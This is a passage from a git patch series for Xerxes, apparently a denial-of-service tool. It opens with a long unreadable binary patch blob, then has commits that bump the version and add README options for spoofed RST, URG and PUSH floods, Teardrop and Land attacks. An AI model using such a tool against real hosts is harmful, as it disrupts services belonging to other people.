zaE#K))Utj|OXI#HxqZayl!`W@(d`ijj@n6my-C?DkKJocjpvAN9bOI95_598h>D=S zKlZ$fEPn18J*Rh#rr`wJpYYj`Gm5jaaCF;mBe~NcXOx7@kghd3(9_Kd*`W zG2=*PjM=!^Oo8@0f^$i1=FpkZk=A%L@5Ajj(TMj*KZx)>GtJ=1N-F)OSU#X@;j}SR+cQ$Dm(M`B~HE~ z-)x6-Zl5g`MVC|<&ooj$Ud!<;iYvL>pq48uS5j3OET=WAjkf7k3R)oCs*6o(#u;ur zzqI?j9ft95cuh9jfO(@+?%(ZTYr3BA-QcL;IP{EA)S6b^rPVzlW z?bKBEpVPqGN53r`Zqb<$fo(83Slc?(w+Uc>e%^?RHPJzB!w0L^3EDG1|%9HsiXZ+5iu31l`K( zf9fLrt`o#JG46J{QfmtoOB20qXPwjy>$NoX@TO~5Bb%B(XMspptWLq)>TPh z>}u)ieW$a=-Y*K6$v)mlb+<8wjkds=O0_-atc~p?xAvFg;5SPy=fJ!|H{ESyjE9mE z*=~Ev->U@esjI2fm%Yb@IA@Ms_S&zxDiz)+U%1>_Id$Ylvrnmm3|=K><7!2+w6&2W zr8~JT?vmEBXp_7B+u~8ai0`+XcUdD=nbfFau`cEU?#~yZ?5+DuOYx#jr1k}U(*PY* zk!tVYPEF(r?f(Gz4YF&+@3A(+#Fm>qW2nlxvOqa%Wb zonv*JtEu!K2V|gCn#jWvd8=Ml_kEl!5-UX|rZx^J1FuJCsoKC+&fhN#x-n2FJfow} zgTz;?1~_JNK5Q3iHEIQOIe+uQkfF%pmCl2X9F{~{7Pf@2J*ED9D3AjdLQv0MJy|(I zwYOnRZQPXv0%~$Lylqat7jFVxEP~Y?JiPZe)m&?C%Fn$Z-7ES-gmK+&n*Q(hiHFy;gfa$^t3ny74LSGU$F@`Vjv zw1!K$R^Fxp!m^nrWuh7)v}kj^Pg)nZy5{|E8hxr1hJ|G;qB^tk?a?dNRcSq=M}{cX zq-{s7Xd9ONMHDU!aR7I7MRPT$CRAHHq_^Amm{eD7j@`nYq;;fZ44v05>7LvDOl+BF z6Re0{Q*yIdt0cVdA9mi#@3i#sz1=Dse9g*d&yyw^_cMe_Q@cF z$2>H`rUfA$Spi7&tyR-?+{e%HS6>gl$BOvpk8RmEQ5a*|_zgLep@c)OK7)GNKBfKBysX`a$|G51~K8g6qIfymO`rLA#;2* zU>mGYX{)Ip>hOQX-{GrbF@StR7?kPArk6~yNVZ3~h5fv7;HQmvaNL-!MwS+mCj zx4xP*?Z-B>apDc0=ftJg^nGk!R+??F%O4BP|RZu z%OP;x%iI(Fte8`|bGz8AXW~%;qlC?+lD(^L)00yWK_n(khW;mS4Vqr@w29M~X}jt) zJ!tK<`>(e4T3da*wn#RG)mBQ}%t@?p?iajGG*y1{8>2qgQ^L2mO&-QURx$RUXJ>aF z;Tyb@Z+Cy~BK{)@yx49I@4}zCXCSPxso@soSX|2=x}M8E(+Znt!$iatbtKew8s4_H zHOZ-!m7`!qSOQ^ZZf|JXeC>s|*-S-96alMi3p%(ky%3Hh`7kO#11i?F?PG}mSezbG12P&Zts4B#THBHFC7?2sMRVk(xqdbX1OQDK;b_DVD%WS{p!(Q- z^`Yo(j=cmdoIbRPf@Y&_foE9yDjDCK`#Z65RU`n~WC{bq>?o0zi$Xx^iUTV(zgM?~ zj-1z9m(H~Oo?IPP)h^dknF7t9=RPM$jklu|^mAJhznzDQRcK^fnGSh`v#h;ra+5$w zr{RqM0I*CL)rtn=ZxfZd;<=J~a1DQ#62q|E4Ox|g%Oe0H)ThK>BipUIo<3juczxD4 zA!XYbmKCj~ExPm6zBcByaV)ECkZq-AWhgrDw}~&(Nc!y9npo9z;3znQU$n89_VBZ# z>lL5Bgg0Fnf{zj&YrfM7GvBj=ZiNChH6>DStJ9TlqJ0b)qKZ_ATKerkwE=|1W4UhS z?&0U;?=X_-GU+R7$Zl;#Ce#`fj()9f<0XT8KpECfv$ zc)6{P*0gE6wax6O((LMEbc7lFV|I-Rb>>*oPj2?Fy?A@HkN23|_)g(eltxuz0A`9+ zq!P!=sMg8K{_h_VI>kQy;L?zYfN?yx_e{0~+3n(cr1x6hgu0lIX9w}yJ@i2DA(5^v zBBC&!DJ8v?^j<#hPU=i}m-v8fTWhi3qC8tkR+WoxM6WG~O2)gL&#{8-JZ<+|LcbZb z@mbx>U=k#2H!G!=Y80A3U)kgP@=ps8L$Z+*dEy&pA*F}xJ`y%pnp@o(WP@;;e$SsC zA+zuaBG`B|QjNO7yNX-MA!pn|$ySqTwwhkViK{oW$B6hZi=b(IM{hIEs;IG)8ga)o zQNnG9Ra!{;y@>HYiEfZ+Z3j4Eb?l?PmDcF*^&m_g>>d-e+->0{G-PXKDhGJ?r||0i zOCi$z<~IH_{vR^z_s}yx_jJHpGAZw)*~-@HD)rO-jv(H}J4xW%{l;*za>FYUcRN>h z?{@zH#4oUu)5hz<-*G0|X(5evj9TP~xCMoV?&aFuT{ezL{jMY2Jz?F(8Xd$cXwLDI zaJjDUEY#3`z9NrfxLpG(kjzYl5t{c`kKFD)&d;Z-jqc~eB9={)%2)!lM`|dYQZ9D4 zS6{sLcx~T+Ng!CkUB=91BzF#d9JQ5O?0<8~g?P)egf`J`r8)YyD{|YD+K?8)fKgr2uu%I(63vqS^X!J49~GhUij+n3em#m0u>C_xnjc`#&py-yyk z$H>e*EFAg?YrNe96_f-lo!z8RHEBj)RdLEWLV-^p7)a@mAQRI=kB3k|xYYCx?k2DE z;gn=SX0MluujgVwxe^Fp!fad=P-!n7jGeUq046bt*HT8zx$^ZE)AX>*7Gk+mkJ&He z-uQ`TEM2NqcvW+^@;cZhqO4I|E^j5grCZWeTmJxAf*AE$*S@@`>U!Fo-*brBRb*Py zmfA=*+Lv{??v5}1|JVzS+Ww-wT%lo`A6cwmBaU-nD=&M_)`}tiz{IVl`pX~7hY#}>ixMmX( zdTIpcO?c&tZnE0Z_Tu{ZX=CrDkQrSGvNUYTkE+*6+U4wEKEbqQDj7in*+D+ePPM(H zPhSr-it`0~0)gGePck!FJFc(mI~YyA=%I#Ki&4j+U1fpR%TN6 zxBx4xSGRH8rOWsDmwB|#=3ZB76)a3wM_|%;?r7VeA0Og#cXD#=_UTgYPgE|Kdw1E! zy1bs(5=$3{EK#9gjHMo7ZFQabyTs*wuc3&%Z^C7e%eMryMZ3VAW>pE_Y1{7Iy`Qtf zCyDK!ZzQS~_EvOYMK9ZK_Q}k@u8r{#nYUgv`xVoUHho<+UZUykqDz-A`ne;*#qi0q z+9L)K86%L&$?Vo>p_=vD#qRb?em9;GblT9ayc!VMikHvdiNaT6F25WV+SJ*(GX(lzyYbvCH<&3Z- zfg;xE+Oe|wSKx1aDg=jm(goe@VHAzB{{Wn5I@@h8eeB}X_n6suFM~>wZg%dw$oH{; z3b9^YxRYvSiC!z8R?g?Ci2Pf1wu$~IjlYlhOtjOH!O@R>6}Nmml3J~+?>}XUH$ENW zv-oWD5MOV+OPy^X6@zy4>f7B~_uxUc-yQ6mb~}mpK$oktWh9b4x}MSbE#$+?3APCq zvH&snp5^nh^)yvlUbeq)w}}!& zYmmkR9FjEpDq?gJ#(Mc7Z3HARB_S?JsdW$*YTs10;7?bb5ktaSN&cLuaepr zj+&@xzbgC$LqZg)j-KpkulA3IC`y0{2hv+gAj7=;)iqFf(FPh@h-DT8G@-E3hu5|6 zbrc$q0Xc%eiheZu34mb)!az^t9-ptaOaB1-tXp-bI#VN3roY?G{hk=z!krm)lk{Sb z0vKsm8J;4RMxUXHrTD1y~P!kbfMdRTbU)3c!rP{1YC{Emdv**#La)} zecm@xBtHzwwjvg~?LvuEMN7L}@=D2#w!rs~Eue+rMP&TzFtN%gn`jf^lH!i6{KcVo zy0dy1pJfClV6(Jsxh#N%xw-VKaq;hHb=%%%eaLh*h$--_K-!@bS0szX03qhT1lD4IwPq3$IPMAtq@l%edTkpLZS? zY|{K-+!64*e};<2Q|%S1y?DM>V0bT%ZARJUj!%UU+Q}_B-L`V`ygSHOue81P@9yz8 zgf{3&u~G;OqDZ8Th0vQQWL-t%)AvvA@lOx%eYVh7EyYy=F%`XAY@2zcv-X|lB$vfE z$n(zEggm!b&@Jqf)Q%hv4BhQs7`F;SJHI5ZMK=i>AYRR`xSw$$jyMEG_U~GkqBKD? z?vqYupW4K)W;YKTX!x$$j|)WB$kG?)gal-pM|FQblVPUu0v~rfM;vGgts{L!xu34F z-H5kxL}!wDG~tQPOHA%(WqmYXX*7w>_#3Yi@c8CQY*dqDLnKl*aW6l$j#c-L{{VH3 z6ET-zxCAW43V~?uS=Fwyle?SL!t9zvUCadNNcAd1XC~d>&~C+;l1;;|%`-99q9$7Q27lFNCmy@kuE7M_$?D1^h}rHe%%IWjk03~sL*+v@Y;)rv_aQY4yoWR+OQ zXeKFdZbi4AKSSN&H(nx9HjyhBLbjz@g(#F~z4>`8XGrk7_T@GxKA|cN;@+W@P2BJaDQd8G|a=>#6DD-HcXmgk->xM8Z(OU6qL}I(PlE>EaFK zjwJD2w5BOG!O|$ksig2n8Y5WIs;}B%H`~P%AfZZCJ~EV!G)yf zS{)_N_L9B@qa~;$@C!j{xAiwa?W4oPwR*5(3oUX0h2=j-lj=!>BPk@D$?2%S^DwHz noq+ Date: Sun, 6 May 2018 14:34:57 +0400 Subject: [PATCH 7/8] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 3231878..c03f52b 100755 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ + # Xerxes [![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=master)](https://travis-ci.org/sepehrdaddev/Xerxes) From d5eb01565eba1e75533a9a4bd402644387d26364 Mon Sep 17 00:00:00 2001 From: sepehrdaddev Date: Sun, 6 May 2018 14:49:27 +0400 Subject: [PATCH 8/8] Adding Features... --- Headers/Version.hpp | 2 +- README.md | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/Headers/Version.hpp b/Headers/Version.hpp index 71de401..f8b6b1c 100755 --- a/Headers/Version.hpp +++ b/Headers/Version.hpp @@ -3,7 +3,7 @@ #define VERSION_MAJOR 1 -#define VERSION_MINOR 1 +#define VERSION_MINOR 2 #define BUILD_YEAR_CH0 (__DATE__[ 7]) diff --git a/README.md b/README.md index c03f52b..c9ab353 100755 --- a/README.md +++ b/README.md @@ -34,7 +34,12 @@ Options:\      -su     set attack vector to Spoofed UDP Flood\      -sy     set attack vector to Spoofed Syn Flood\      -sa     set attack vector to Spoofed Ack Flood\ +     -sr     set attack vector to Spoofed Rst Flood\ +     -sg     set attack vector to Spoofed Urg Flood\ +     -sp     set attack vector to Spoofed Push Flood\      -sf     set attack vector to Spoofed Fin Flood\ +     -td     set attack vector to Teardrop\ +     -ld     set attack vector to Land\      -ss     enable SSL\      -w      wait for response\      -rh     randomize HTTP Header\